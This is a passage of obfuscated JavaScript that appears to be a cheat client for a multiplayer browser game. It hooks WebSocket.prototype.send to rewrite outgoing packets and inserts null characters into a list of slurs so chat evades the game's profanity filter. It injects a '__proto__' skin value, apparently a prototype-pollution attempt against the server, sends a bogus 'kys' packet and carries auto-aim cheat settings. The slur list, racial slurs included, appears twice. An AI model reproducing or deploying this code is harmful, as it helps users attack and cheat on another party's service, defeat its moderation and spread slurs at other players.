_0x16c8f2.add(_0x1e75b8);
});
_0x59aac2.scrollTop = _0x59aac2.scrollHeight;
_0x5acf8e++;
}
function _0x4b5a3a(_0x4387, _0x3a57a7, _0x5a415e, _0x46cfba) {
_0x10a0f6.set("menuChatDiv");
_0x5a415e = _0x5a415e || "white";
let _0xef5b8a = new Date();
let _0x35dcf3 = "";
if (_0x3a57a7) {
_0x35dcf3 += (_0x4387 ? ": " : !_0x46cfba ? "" : "") + _0x3a57a7 + "\n";
}
_0x10a0f6.addDiv({
id: "menuChDisp",
style: "color: " + _0x5a415e,
appendID: "mChMain"
}, _0x46445c => {
_0x46445c.add(_0x35dcf3);
});
_0x59aac2.scrollTop = _0x59aac2.scrollHeight;
_0x5acf8e++;
}
function _0x230141() {
_0x59aac2.innerHTML = "";
_0x5acf8e = 0;
_0x17c17a(null, "", "white", 1);
}
_0x230141();
let _0x4f9354 = 0;
let _0x11c540 = ["menuMain", "menuConfig", "menuOther"];
window.changeMenu = function () {
getEl(_0x11c540[_0x4f9354 % _0x11c540.length]).style.display = "none";
_0x4f9354++;
getEl(_0x11c540[_0x4f9354 % _0x11c540.length]).style.display = "block";
};
let _0x516598 = document.createElement("div");
_0x516598.id = "status";
getEl("gameUI").appendChild(_0x516598);
_0x10a0f6.set("status");
_0x10a0f6.setStyle("\n display: block;\n position:
absolute;\n color: #ddd;\n font: 15px Hammersmith One;\n
bottom: 215px;\n left: 20px;\n ");
_0x10a0f6.resetHTML();
_0x10a0f6.setCSS("\n .sizing {\n font-size: 15px;\n
}\n .mod {\n font-size: 15px;\n display:
inline-block;\n }\n ");
_0x10a0f6.startDiv({
id: "uehmod",
class: "sizing"
}, _0x45bd23 => {
_0x45bd23.add("Ping: ");
_0x10a0f6.addDiv({
id: "pingFps",
class: "mod",
appendID: "uehmod"
}, _0x4adc05 => {
_0x4adc05.add("None");
});
_0x45bd23.newLine();
_0x45bd23.add("Packet: ");
_0x10a0f6.addDiv({
id: "packetStatus",
class: "mod",
appendID: "uehmod"
}, _0x1a3993 => {
_0x1a3993.add("None");
});
});
let _0x2ed994 = false;
let _0x2db724 = undefined;
let _0x1da9a5 = undefined;
let _0x4f4659 = false;
let _0x2006cb = 0;
let _0xa93a04 = 120;
let _0x486e83 = 1000;
let _0x46565f = {
sec: false
};
let _0x450873 = {
tick: 0,
tickQueue: [],
tickBase: function (_0x49a168, _0x3fef7d) {
if (this.tickQueue[this.tick + _0x3fef7d]) {
this.tickQueue[this.tick + _0x3fef7d].push(_0x49a168);
} else {
this.tickQueue[this.tick + _0x3fef7d] = [_0x49a168];
}
},
tickRate: 1000 / _0x124d71.serverUpdateRate,
tickSpeed: 0,
lastTick: performance.now()
};
let _0x14d2c7 = [];
let _0x4ced94 = false;
let _0x11fd06 = {
last: 0,
time: 0,
ltime: 0
};
let _0x8842b7 = undefined;
let _0x46873a = ["cc", 1, "__proto__"];
WebSocket.prototype.nsend = WebSocket.prototype.send;
WebSocket.prototype.send = function (_0x131def) {
if (!_0x2db724) {
_0x2db724 = this;
_0x2db724.addEventListener("message", function (_0x23296d) {
_0x28bff6(_0x23296d);
});
_0x2db724.addEventListener("close", _0x5d0eac => {
if (_0x5d0eac.code == 4001) {
window.location.reload();
}
});
}
if (_0x2db724 == this) {
_0x4ced94 = false;
let _0x5e66b9 = new Uint8Array(_0x131def);
let _0x5d516f = window.msgpack.decode(_0x5e66b9);
let _0x32e67 = _0x5d516f[0];
_0x5e66b9 = _0x5d516f[1];
if (_0x32e67 == "6") {
if (_0x5e66b9[0]) {
let _0x1dc80c = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
"nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis",
"clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn",
"bitch", "dick", "fag", "bastard"];
let _0x57a710;
_0x1dc80c.forEach(_0x182eae => {
if (_0x5e66b9[0].indexOf(_0x182eae) > -1) {
_0x57a710 = "";
for (let _0x310357 = 0; _0x310357 < _0x182eae.length; +
+_0x310357) {
if (_0x310357 == 1) {
_0x57a710 += String.fromCharCode(0);
}
_0x57a710 += _0x182eae[_0x310357];
}
let _0x5cefed = new RegExp(_0x182eae, "g");
_0x5e66b9[0] = _0x5e66b9[0].replace(_0x5cefed, _0x57a710);
}
});
_0x5e66b9[0] = _0x5e66b9[0].slice(0, 30);
}
} else if (_0x32e67 == "L") {
_0x5e66b9[0] = _0x5e66b9[0] + String.fromCharCode(0).repeat(7);
_0x5e66b9[0] = _0x5e66b9[0].slice(0, 7);
} else if (_0x32e67 == "M") {
_0x5e66b9[0].name = _0x5e66b9[0].name == "" ? "unknown" :
_0x5e66b9[0].name;
_0x5e66b9[0].moofoll = true;
_0x5e66b9[0].skin = _0x5e66b9[0].skin == 10 ? "__proto__" :
_0x5e66b9[0].skin;
_0x46873a = [_0x5e66b9[0].name, _0x5e66b9[0].moofoll,
_0x5e66b9[0].skin];
} else if (_0x32e67 == "D") {
if (_0x8f1613.lastDir == _0x5e66b9[0] || [null,
undefined].includes(_0x5e66b9[0])) {
_0x4ced94 = true;
} else {
_0x8f1613.lastDir = _0x5e66b9[0];
}
} else if (_0x32e67 == "d") {
if (!_0x5e66b9[2]) {
_0x4ced94 = true;
} else if (![null, undefined].includes(_0x5e66b9[1])) {
_0x8f1613.lastDir = _0x5e66b9[1];
}
} else if (_0x32e67 == "K") {
if (!_0x5e66b9[1]) {
_0x4ced94 = true;
}
} else if (_0x32e67 == "S") {
_0x37a646.wait = !_0x37a646.wait;
_0x4ced94 = true;
} else if (_0x32e67 == "a") {
if (_0x5e66b9[1]) {
if (_0x21c5b5.moveDir == _0x5e66b9[0]) {
_0x4ced94 = true;
}
_0x21c5b5.moveDir = _0x5e66b9[0];
} else {
_0x4ced94 = true;
}
}
if (!_0x4ced94) {
let _0x143f2b = window.msgpack.encode([_0x32e67, _0x5e66b9]);
this.nsend(_0x143f2b);
if (!_0x46565f.sec) {
_0x46565f.sec = true;
setTimeout(() => {
_0x46565f.sec = false;
_0x2006cb = 0;
}, _0x486e83);
}
if (_0x2006cb == 100) {
_0x17c17a("Warn", "Many Sending Packets", "red", 1);
}
_0x2006cb++;
}
} else {
this.nsend(_0x131def);
}
};
function _0x4c5fd1(_0x119450) {
let _0x523c75 = Array.prototype.slice.call(arguments, 1);
let _0xcc75da = window.msgpack.encode([_0x119450, _0x523c75]);
_0x2db724.send(_0xcc75da);
}
function _0xa51c2a(_0x5d9290) {
let _0x5c9974 = Array.prototype.slice.call(arguments, 1);
let _0x470c51 = window.msgpack.encode([_0x5d9290, _0x5c9974]);
_0x2db724.nsend(_0x470c51);
}
window.leave = function () {
_0xa51c2a("kys", {
"frvr is so bad": true,
"sidney is too good": true,
"dev are too weak": true
});
};
let _0x229ae3 = {
send: _0x4c5fd1
};
function _0x28bff6(_0x442311) {
let _0x1631c4 = new Uint8Array(_0x442311.data);
let _0x545f8c = window.msgpack.decode(_0x1631c4);
let _0x379a4c = _0x545f8c[0];
_0x1631c4 = _0x545f8c[1];
let _0x2e1088 = {
A: _0x270473,
B: _0x3638e7,
C: _0x30a02e,
D: _0x585e62,
E: _0x1203fb,
a: _0x3912de,
G: _0x18be79,
H: _0xc97ce8,
I: _0x234a6d,
J: _0x3a885a,
K: _0x51660c,
L: _0x58e5cc,
M: _0x34d01e,
N: _0x4c250e,
O: _0x3026d7,
P: _0x254f15,
Q: _0x42aa1a,
R: _0x4ce94b,
S: _0x49fc8e,
T: _0x4d6a95,
U: _0x3392e9,
V: _0xe7d15e,
X: _0x2f91b6,
Y: _0x475729,
2: _0x468417,
3: _0x5a789a,
4: _0x302661,
5: _0x40d766,
6: _0x475ee0,
7: _0x1b862a,
8: _0x3ded1e,
9: _0x2b13aa
};
if (_0x379a4c == "io-init") {
_0x1da9a5 = _0x1631c4[0];
} else if (_0x2e1088[_0x379a4c]) {
_0x2e1088[_0x379a4c].apply(undefined, _0x1631c4);
}
}
Math.lerpAngle = function (_0x2f0315, _0x45e2d1, _0xa492bb) {
let _0x351e23 = Math.abs(_0x45e2d1 - _0x2f0315);
if (_0x351e23 > Math.PI) {
if (_0x2f0315 > _0x45e2d1) {
_0x45e2d1 += Math.PI * 2;
} else {
_0x2f0315 += Math.PI * 2;
}
}
let _0x558525 = _0x45e2d1 + (_0x2f0315 - _0x45e2d1) * _0xa492bb;
if (_0x558525 >= 0 && _0x558525 <= Math.PI * 2) {
return _0x558525;
}
return _0x558525 % (Math.PI * 2);
};
CanvasRenderingContext2D.prototype.roundRect = function (_0x5cebde,
_0x4d15c3, _0x360bda, _0xaa7f1a, _0x4d212c) {
if (_0x360bda < _0x4d212c * 2) {
_0x4d212c = _0x360bda / 2;
}
if (_0xaa7f1a < _0x4d212c * 2) {
_0x4d212c = _0xaa7f1a / 2;
}
if (_0x4d212c < 0) {
_0x4d212c = 0;
}
this.beginPath();
this.moveTo(_0x5cebde + _0x4d212c, _0x4d15c3);
this.arcTo(_0x5cebde + _0x360bda, _0x4d15c3, _0x5cebde + _0x360bda,
_0x4d15c3 + _0xaa7f1a, _0x4d212c);
this.arcTo(_0x5cebde + _0x360bda, _0x4d15c3 + _0xaa7f1a, _0x5cebde,
_0x4d15c3 + _0xaa7f1a, _0x4d212c);
this.arcTo(_0x5cebde, _0x4d15c3 + _0xaa7f1a, _0x5cebde, _0x4d15c3,
_0x4d212c);
this.arcTo(_0x5cebde, _0x4d15c3, _0x5cebde + _0x360bda, _0x4d15c3,
_0x4d212c);
this.closePath();
return this;
};
let _0x556da4 = [];
let _0x59187f = [];
let _0x18eaf3 = [];
let _0x119a04 = [];
let _0x146c8c = [];
let _0x116d96 = [];
let _0x1b6fb6 = [];
let _0x57e617 = [];
let _0x2033cb = [];
let _0xf90add = [];
let _0x178343 = [];
let _0x21c5b5;
let _0x222e4b;
let _0x3fce7e;
let _0x462a20 = [];
let _0x380db7 = [];
let _0x4e7604 = [];
let _0x8f1613 = {
reloaded: false,
waitHit: 0,
autoAim: false,
revAim: false,
ageInsta: true,
reSync: false,
bullTick: 0,
anti0Tick: 0,
antiSync: false,
safePrimary: function (_0x3302c8) {
return [0, 8].includes(_0x3302c8.primaryIndex);
},
safeSecondary: function (_0x4857b9) {
return [10, 11, 14].includes(_0x4857b9.secondaryIndex);
},
lastDir: 0,
autoPush: false,
pushData: {}
};
function _0x65f08(_0x306942, _0x3870e8) {
return _0x306942.find(_0x144a6d => _0x144a6d.id == _0x3870e8);
}
function _0x5a4f5b(_0x54f73a, _0x4810e9) {
return _0x54f73a.find(_0x447bc5 => _0x447bc5.sid == _0x4810e9);
}
function _0x55beb4(_0x16a59f) {
return _0x65f08(_0x119a04, _0x16a59f);
}
function _0x117918(_0x291b05) {
return _0x5a4f5b(_0x119a04, _0x291b05);
}
function _0x3ebe5b(_0x5e3c9b) {
return _0x5a4f5b(_0x18eaf3, _0x5e3c9b);
}
function _0x45a52d(_0x5dedf0) {
return _0x5a4f5b(_0x57e617, _0x5dedf0);
}
function _0x52200c(_0xc5e5f1) {
return _0x5a4f5b(_0x57e617, _0xc5e5f1);
}
let _0xe30817 = getEl("adCard");
let _0x325702 = getEl("promoImgHolder");
_0x325702.remove();
let _0x8d115c = getEl("chatButton");
_0x8d115c.remove();
let _0x238a9e = getEl("gameCanvas");
let _0x4390c3 = _0x238a9e.getContext("2d");
let _0x35f92e = getEl("mapDisplay");
let _0x2e7f04 = _0x35f92e.getContext("2d");
_0x35f92e.width = 300;
_0x35f92e.height = 300;
let _0x5651d7 = getEl("storeMenu");
let _0x323899 = getEl("storeHolder");
let _0x545685 = getEl("upgradeHolder");
let _0xce9f9b = getEl("upgradeCounter");
let _0x4cb34f = getEl("chatBox");
_0x4cb34f.autocomplete = "off";
_0x4cb34f.style.textAlign = "center";
_0x4cb34f.style.width = "18em";
let _0x52be5e = getEl("chatHolder");
let _0x1663f0 = getEl("actionBar");
let _0x1100d8 = getEl("leaderboardData");
let _0x2306ce = getEl("itemInfoHolder");
let _0x370fd7 = getEl("menuCardHolder");
let _0x43c163 = getEl("mainMenu");
let _0x517964 = getEl("diedText");
let _0x5048c4;
let _0xeeaf5;
let _0x2c4533 = _0x124d71.maxScreenWidth;
let _0xef4b05 = _0x124d71.maxScreenHeight;
let _0x5f506a = 0.85;
let _0x32bba9;
let _0xd86dfc;
let _0xfda197 = performance.now();
let _0x253288;
let _0x1c942f;
let _0x4ff55e;
let _0x5d2b32 = 0;
let _0x166d71 = 0;
let _0x3a6b5f = getEl("allianceMenu");
let _0x3e2867 = 1;
let _0x35d210 = 0;
let _0x419dfb = "#525252";
let _0x37e085 = "#3d3f42";
let _0x16e65c = 5.5;
let _0x10ee51 = false;
let _0x451c65 = true;
let _0x30a35d = {};
let _0x714de2 = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0]
};
let _0x19c326 = 0;
let _0x1f3dc7 = false;
let _0x217f3c = {};
let _0x54b26c = {
place: 0,
placeSpawnPads: 0
};
let _0x4fd68a;
let _0x4a41b0 = [];
let _0x34869b = true;
window.onblur = function () {
_0x34869b = false;
};
window.onfocus = function () {
_0x34869b = true;
if (_0x21c5b5 && _0x21c5b5.alive) {}
};
function _0x3638e7() {
_0x229ae3.close();
}
let _0xcaad53 = [];
let _0x55d6fb = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
"nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis",
"clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn",
"bitch", "dick", "fag", "bastard"];
class _0x16ee8c {
constructor() {
let _0x1c761d = Math.abs;
let _0x1971d9 = Math.cos;
let _0x17ccb7 = Math.sin;
let _0x42da56 = Math.pow;
let _0x2435e9 = Math.sqrt;
let _0x20a741 = Math.atan2;
let _0x25a9cc = Math.PI;
let _0x23fd6d = this;
this.round = function (_0x186f6e, _0x26892c) {
return Math.round(_0x186f6e * _0x26892c) / _0x26892c;
};
this.toRad = function (_0x4d881c) {
return _0x4d881c * (_0x25a9cc / 180);
};
this.toAng = function (_0x4fc4e7) {
return _0x4fc4e7 / (_0x25a9cc / 180);
};
this.randInt = function (_0x2951fa, _0x3558aa) {
return Math.floor(Math.random() * (_0x3558aa - _0x2951fa + 1)) +
_0x2951fa;
};
this.randFloat = function (_0x19e050, _0x56b4ab) {
return Math.random() * (_0x56b4ab - _0x19e050 + 1) + _0x19e050;
};
this.lerp = function (_0x42c072, _0x43291f, _0x3096ab) {
return _0x42c072 + (_0x43291f - _0x42c072) * _0x3096ab;
};
this.decel = function (_0x3e06fa, _0x404bce) {
if (_0x3e06fa > 0) {
_0x3e06fa = Math.max(0, _0x3e06fa - _0x404bce);
} else if (_0x3e06fa < 0) {
_0x3e06fa = Math.min(0, _0x3e06fa + _0x404bce);
}
return _0x3e06fa;
};
this.getDistance = function (_0x4400db, _0x1b2396, _0x1a9255, _0x29ec22)
{
return _0x2435e9((_0x1a9255 -= _0x4400db) * _0x1a9255 + (_0x29ec22 -=
_0x1b2396) * _0x29ec22);
};
this.getDist = function (_0x51c75f, _0x12816f, _0x4adb61, _0x520763) {
let _0xadcd57 = {
x: _0x4adb61 == 0 ? _0x51c75f.x : _0x4adb61 == 1 ? _0x51c75f.x1 :
_0x4adb61 == 2 ? _0x51c75f.x2 : _0x4adb61 == 3 && _0x51c75f.x3,
y: _0x4adb61 == 0 ? _0x51c75f.y : _0x4adb61 == 1 ? _0x51c75f.y1 :
_0x4adb61 == 2 ? _0x51c75f.y2 : _0x4adb61 == 3 && _0x51c75f.y3
};
let _0x16d8a3 = {
x: _0x520763 == 0 ? _0x12816f.x : _0x520763 == 1 ? _0x12816f.x1 :
_0x520763 == 2 ? _0x12816f.x2 : _0x520763 == 3 && _0x12816f.x3,
y: _0x520763 == 0 ? _0x12816f.y : _0x520763 == 1 ? _0x12816f.y1 :
_0x520763 == 2 ? _0x12816f.y2 : _0x520763 == 3 && _0x12816f.y3
};
return _0x2435e9((_0x16d8a3.x -= _0xadcd57.x) * _0x16d8a3.x +
(_0x16d8a3.y -= _0xadcd57.y) * _0x16d8a3.y);
};
this.getDirection = function (_0x449a4f, _0x85bce5, _0x14800d, _0x1b5148)
{
return _0x20a741(_0x85bce5 - _0x1b5148, _0x449a4f - _0x14800d);
};
this.getDirect = function (_0x12f15e, _0xc04391, _0x14e00b, _0x2943dd) {
let _0x3b0729 = {
x: _0x14e00b == 0 ? _0x12f15e.x : _0x14e00b == 1 ? _0x12f15e.x1 :
_0x14e00b == 2 ? _0x12f15e.x2 : _0x14e00b == 3 && _0x12f15e.x3,
y: _0x14e00b == 0 ? _0x12f15e.y : _0x14e00b == 1 ? _0x12f15e.y1 :
_0x14e00b == 2 ? _0x12f15e.y2 : _0x14e00b == 3 && _0x12f15e.y3
};
let _0x5896a0 = {
x: _0x2943dd == 0 ? _0xc04391.x : _0x2943dd == 1 ? _0xc04391.x1 :
_0x2943dd == 2 ? _0xc04391.x2 : _0x2943dd == 3 && _0xc04391.x3,
y: _0x2943dd == 0 ? _0xc04391.y : _0x2943dd == 1 ? _0xc04391.y1 :
_0x2943dd == 2 ? _0xc04391.y2 : _0x2943dd == 3 && _0xc04391.y3
};
return _0x20a741(_0x3b0729.y - _0x5896a0.y, _0x3b0729.x - _0x5896a0.x);
};
this.getAngleDist = function (_0x5a82cb, _0x140661) {
let _0x1bd5f7 = _0x1c761d(_0x140661 - _0x5a82cb) % (_0x25a9cc * 2);
if (_0x1bd5f7 > _0x25a9cc) {
return _0x25a9cc * 2 - _0x1bd5f7;
} else {
return _0x1bd5f7;
}
};
this.isNumber = function (_0x3a4600) {
return typeof _0x3a4600 == "number" && !isNaN(_0x3a4600) &&
isFinite(_0x3a4600);
};
this.isString = function (_0x2142be) {
return _0x2142be && typeof _0x2142be == "string";
};
this.kFormat = function (_0x5cb451) {
if (_0x5cb451 > 999) {
return (_0x5cb451 / 1000).toFixed(1) + "k";
} else {
return _0x5cb451;
}
};
this.sFormat = function (_0x4e43de) {
let _0x3a5a7e = [{
num: 1000,
string: "k"
}, {
num: 1000000,
string: "m"
}, {
num: 1000000000,
string: "b"
}, {
num: 1000000000000,
string: "q"
}].reverse();
let _0xa4ebc7 = _0x3a5a7e.find(_0x44a037 => _0x4e43de >=
_0x44a037.num);
if (!_0xa4ebc7) {
return _0x4e43de;
}
return (_0x4e43de / _0xa4ebc7.num).toFixed(1) + _0xa4ebc7.string;
};
this.capitalizeFirst = function (_0x1602ed) {
return _0x1602ed.charAt(0).toUpperCase() + _0x1602ed.slice(1);
};
this.fixTo = function (_0x17a1a8, _0x24a960) {
return parseFloat(_0x17a1a8.toFixed(_0x24a960));
};
this.sortByPoints = function (_0x3a90a4, _0x5716f3) {
return parseFloat(_0x5716f3.points) - parseFloat(_0x3a90a4.points);
};
this.lineInRect = function (_0x16b79f, _0x36a45b, _0x3c9f11, _0x3a3092,
_0x39838b, _0xf095c2, _0x41eec9, _0x5b12a8) {
let _0x13325f = _0x39838b;
let _0x21f450 = _0x41eec9;
if (_0x39838b > _0x41eec9) {
_0x13325f = _0x41eec9;
_0x21f450 = _0x39838b;
}
if (_0x21f450 > _0x3c9f11) {
_0x21f450 = _0x3c9f11;
}
if (_0x13325f < _0x16b79f) {
_0x13325f = _0x16b79f;
}
if (_0x13325f > _0x21f450) {
return false;
}
let _0x120be0 = _0xf095c2;
let _0x5a1e2d = _0x5b12a8;
let _0x4c1a1e = _0x41eec9 - _0x39838b;
if (Math.abs(_0x4c1a1e) > 1e-7) {
let _0x16ddbb = (_0x5b12a8 - _0xf095c2) / _0x4c1a1e;
let _0x36b86a = _0xf095c2 - _0x16ddbb * _0x39838b;
_0x120be0 = _0x16ddbb * _0x13325f + _0x36b86a;
_0x5a1e2d = _0x16ddbb * _0x21f450 + _0x36b86a;
}
if (_0x120be0 > _0x5a1e2d) {
let _0x3738f5 = _0x5a1e2d;
_0x5a1e2d = _0x120be0;
_0x120be0 = _0x3738f5;
}
if (_0x5a1e2d > _0x3a3092) {
_0x5a1e2d = _0x3a3092;
}
if (_0x120be0 < _0x36a45b) {
_0x120be0 = _0x36a45b;
}
if (_0x120be0 > _0x5a1e2d) {
return false;
}
return true;
};
this.containsPoint = function (_0x4c7577, _0x41952f, _0x4632cc) {
let _0x7b3806 = _0x4c7577.getBoundingClientRect();
let _0x45816a = _0x7b3806.left + window.scrollX;
let _0x578907 = _0x7b3806.top + window.scrollY;
let _0x20e285 = _0x7b3806.width;
let _0x2609b5 = _0x7b3806.height;
let _0x318ad5 = _0x41952f > _0x45816a && _0x41952f < _0x45816a +
_0x20e285;
let _0x3936d3 = _0x4632cc > _0x578907 && _0x4632cc < _0x578907 +
_0x2609b5;
return _0x318ad5 && _0x3936d3;
};
this.mousifyTouchEvent = function (_0xf30d6) {
let _0x4dc61e = _0xf30d6.changedTouches[0];
_0xf30d6.screenX = _0x4dc61e.screenX;
_0xf30d6.screenY = _0x4dc61e.screenY;
_0xf30d6.clientX = _0x4dc61e.clientX;
_0xf30d6.clientY = _0x4dc61e.clientY;
_0xf30d6.pageX = _0x4dc61e.pageX;
_0xf30d6.pageY = _0x4dc61e.pageY;
};
this.hookTouchEvents = function (_0x4fe2d9, _0x1dff76) {
let _0x4c4bf5 = !_0x1dff76;
let _0x3077fd = false;
let _0x5589c8 = false;
_0x4fe2d9.addEventListener("touchstart", this.checkTrusted(_0x2e386d),
_0x5589c8);
_0x4fe2d9.addEventListener("touchmove", this.checkTrusted(_0x17b46f),
_0x5589c8);
_0x4fe2d9.addEventListener("touchend", this.checkTrusted(_0x49365c),
_0x5589c8);
_0x4fe2d9.addEventListener("touchcancel", this.checkTrusted(_0x49365c),
_0x5589c8);
_0x4fe2d9.addEventListener("touchleave", this.checkTrusted(_0x49365c),
_0x5589c8);
function _0x2e386d(_0x1673c6) {
_0x23fd6d.mousifyTouchEvent(_0x1673c6);
window.setUsingTouch(true);
if (_0x4c4bf5) {
_0x1673c6.preventDefault();
_0x1673c6.stopPropagation();
}
if (_0x4fe2d9.onmouseover) {
_0x4fe2d9.onmouseover(_0x1673c6);
}
_0x3077fd = true;
}
function _0x17b46f(_0x867078) {
_0x23fd6d.mousifyTouchEvent(_0x867078);
window.setUsingTouch(true);
if (_0x4c4bf5) {
_0x867078.preventDefault();
_0x867078.stopPropagation();
}
if (_0x23fd6d.containsPoint(_0x4fe2d9, _0x867078.pageX,
_0x867078.pageY)) {
if (!_0x3077fd) {
if (_0x4fe2d9.onmouseover) {
_0x4fe2d9.onmouseover(_0x867078);
}
_0x3077fd = true;
}
} else if (_0x3077fd) {
if (_0x4fe2d9.onmouseout) {
_0x4fe2d9.onmouseout(_0x867078);
}
_0x3077fd = false;
}
}
function _0x49365c(_0x30679c) {
_0x23fd6d.mousifyTouchEvent(_0x30679c);
window.setUsingTouch(true);
if (_0x4c4bf5) {
_0x30679c.preventDefault();
_0x30679c.stopPropagation();
}
if (_0x3077fd) {
if (_0x4fe2d9.onclick) {
_0x4fe2d9.onclick(_0x30679c);
}
if (_0x4fe2d9.onmouseout) {
_0x4fe2d9.onmouseout(_0x30679c);
}
_0x3077fd = false;
}
}
};
this.removeAllChildren = function (_0x5d184e) {
while (_0x5d184e.hasChildNodes()) {
_0x5d184e.removeChild(_0x5d184e.lastChild);
}
};
this.generateElement = function (_0x5d79d0) {
let _0x183116 = document.createElement(_0x5d79d0.tag || "div");
function _0xa104c2(_0x25cb88, _0x58a2e1) {
if (_0x5d79d0[_0x25cb88]) {
_0x183116[_0x58a2e1] = _0x5d79d0[_0x25cb88];
}
}
_0xa104c2("text", "textContent");
_0xa104c2("html", "innerHTML");
_0xa104c2("class", "className");
for (let _0x58774c in _0x5d79d0) {
switch (_0x58774c) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue;
default:
break;
}
_0x183116[_0x58774c] = _0x5d79d0[_0x58774c];
}
if (_0x183116.onclick) {
_0x183116.onclick = this.checkTrusted(_0x183116.onclick);
}
if (_0x183116.onmouseover) {
_0x183116.onmouseover = this.checkTrusted(_0x183116.onmouseover);
}
if (_0x183116.onmouseout) {
_0x183116.onmouseout = this.checkTrusted(_0x183116.onmouseout);
}
if (_0x5d79d0.style) {
_0x183116.style.cssText = _0x5d79d0.style;
}
if (_0x5d79d0.hookTouch) {
this.hookTouchEvents(_0x183116);
}
if (_0x5d79d0.parent) {
_0x5d79d0.parent.appendChild(_0x183116);
}
if (_0x5d79d0.children) {
for (let _0x3177c9 = 0; _0x3177c9 < _0x5d79d0.children.length;
_0x3177c9++) {
_0x183116.appendChild(_0x5d79d0.children[_0x3177c9]);
}
}
return _0x183116;
};
this.checkTrusted = function (_0x1490b5) {
return function (_0x16996f) {
if (_0x16996f && _0x16996f instanceof Event && (_0x16996f && typeof
_0x16996f.isTrusted == "boolean" ? _0x16996f.isTrusted : true)) {
_0x1490b5(_0x16996f);
} else {}
};
};
this.randomString = function (_0x2e6c93) {
let _0x180e02 = "";
let _0x2d0b2e =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let _0x24e69f = 0; _0x24e69f < _0x2e6c93; _0x24e69f++) {
_0x180e02 += _0x2d0b2e.charAt(Math.floor(Math.random() *
_0x2d0b2e.length));
}
return _0x180e02;
};
this.countInArray = function (_0x3c543b, _0x323656) {
let _0x21187d = 0;
for (let _0x140a75 = 0; _0x140a75 < _0x3c543b.length; _0x140a75++) {
if (_0x3c543b[_0x140a75] === _0x323656) {
_0x21187d++;
}
}
return _0x21187d;
};
this.hexToRgb = function (_0x3b948b) {
return _0x3b948b.slice(1).match(/.{1,2}/g).map(_0x5a1274 =>
parseInt(_0x5a1274, 16));
};
this.getRgb = function (_0x4f4541, _0x4432bf, _0x763d85) {
return [_0x4f4541 / 255, _0x4432bf / 255, _0x763d85 / 255].join(", ");
};
}
}
;
class _0x2257f9 {
constructor() {
this.init = function (_0x492b24, _0x1dca97, _0x12a268, _0xd19bd9,
_0x2f5313, _0x47d266, _0x5c718a) {
this.x = _0x492b24;
this.y = _0x1dca97;
this.color = _0x5c718a;
this.scale = _0x12a268;
this.startScale = this.scale;
this.maxScale = _0x12a268 * 1.5;
this.scaleSpeed = 0.7;
this.speed = _0xd19bd9;
this.life = _0x2f5313;
this.text = _0x47d266;
this.acc = 1;
this.alpha = 0;
this.maxLife = _0x2f5313;
this.ranX = _0x4cedba.randFloat(-1, 1);
};
this.update = function (_0x501c51) {
if (this.life) {
this.life -= _0x501c51;
if (_0x124d71.anotherVisual) {
this.y -= this.speed * _0x501c51 * this.acc;
this.acc -= _0x501c51 / (this.maxLife / 2.5);
if (this.life <= 200) {
if (this.alpha > 0) {
this.alpha = Math.max(0, this.alpha - _0x501c51 / 300);
}
} else if (this.alpha < 1) {
this.alpha = Math.min(1, this.alpha + _0x501c51 / 100);
}
this.x += this.ranX;
} else {
this.y -= this.speed * _0x501c51;
}
this.scale += this.scaleSpeed * _0x501c51;
if (this.scale >= this.maxScale) {
this.scale = this.maxScale;
this.scaleSpeed *= -1;
} else if (this.scale <= this.startScale) {
this.scale = this.startScale;
this.scaleSpeed = 0;
}
if (this.life <= 0) {
this.life = 0;
}
}
};
this.render = function (_0x5534b7, _0x559e07, _0x5ecf49) {
_0x5534b7.lineWidth = 10;
_0x5534b7.fillStyle = this.color;
_0x5534b7.font = this.scale + "px " + (_0x124d71.anotherVisual ?
"Hammersmith One" : "Hammersmith One");
if (_0x124d71.anotherVisual) {
_0x5534b7.globalAlpha = this.alpha;
_0x5534b7.strokeStyle = _0x37e085;
_0x5534b7.strokeText(this.text, this.x - _0x559e07, this.y -
_0x5ecf49);
}
_0x5534b7.fillText(this.text, this.x - _0x559e07, this.y - _0x5ecf49);
_0x5534b7.globalAlpha = 1;
};
}
}
;
class _0x52f3e0 {
constructor() {
this.texts = [];
this.stack = [];
this.update = function (_0x4b0892, _0x3975cf, _0xc0813c, _0x55ed5b) {
_0x3975cf.textBaseline = "middle";
_0x3975cf.textAlign = "center";
for (let _0x1cca52 = 0; _0x1cca52 < this.texts.length; ++_0x1cca52) {
if (this.texts[_0x1cca52].life) {
this.texts[_0x1cca52].update(_0x4b0892);
this.texts[_0x1cca52].render(_0x3975cf, _0xc0813c, _0x55ed5b);
}
}
};
this.showText = function (_0x293b7b, _0x11e1db, _0x187e7d, _0x4b0e1e,
_0x1530ab, _0x54b7e0, _0x3d0f0f) {
let _0x5cf9f7;
for (let _0x50bc54 = 0; _0x50bc54 < this.texts.length; ++_0x50bc54) {
if (!this.texts[_0x50bc54].life) {
_0x5cf9f7 = this.texts[_0x50bc54];
break;
}
}
if (!_0x5cf9f7) {
_0x5cf9f7 = new _0x2257f9();
this.texts.push(_0x5cf9f7);
}
_0x5cf9f7.init(_0x293b7b, _0x11e1db, _0x187e7d, _0x4b0e1e, _0x1530ab,
_0x54b7e0, _0x3d0f0f);
};
}
}
class _0x45f039 {
constructor(_0x14793c) {
this.sid = _0x14793c;
this.init = function (_0x44166b, _0x71fc9d, _0x3eff5b, _0x30b1b4,
_0x5cd097, _0x229c03, _0x4df62b) {
_0x229c03 = _0x229c03 || {};
this.sentTo = {};
this.gridLocations = [];
this.active = true;
this.alive = true;
this.doUpdate = _0x229c03.doUpdate;
this.x = _0x44166b;
this.y = _0x71fc9d;
if (_0x124d71.anotherVisual) {
this.dir = _0x3eff5b + Math.PI;
} else {
this.dir = _0x3eff5b;
}
this.lastDir = _0x3eff5b;
this.xWiggle = 0;
this.yWiggle = 0;
this.visScale = _0x30b1b4;
this.scale = _0x30b1b4;
this.type = _0x5cd097;
this.id = _0x229c03.id;
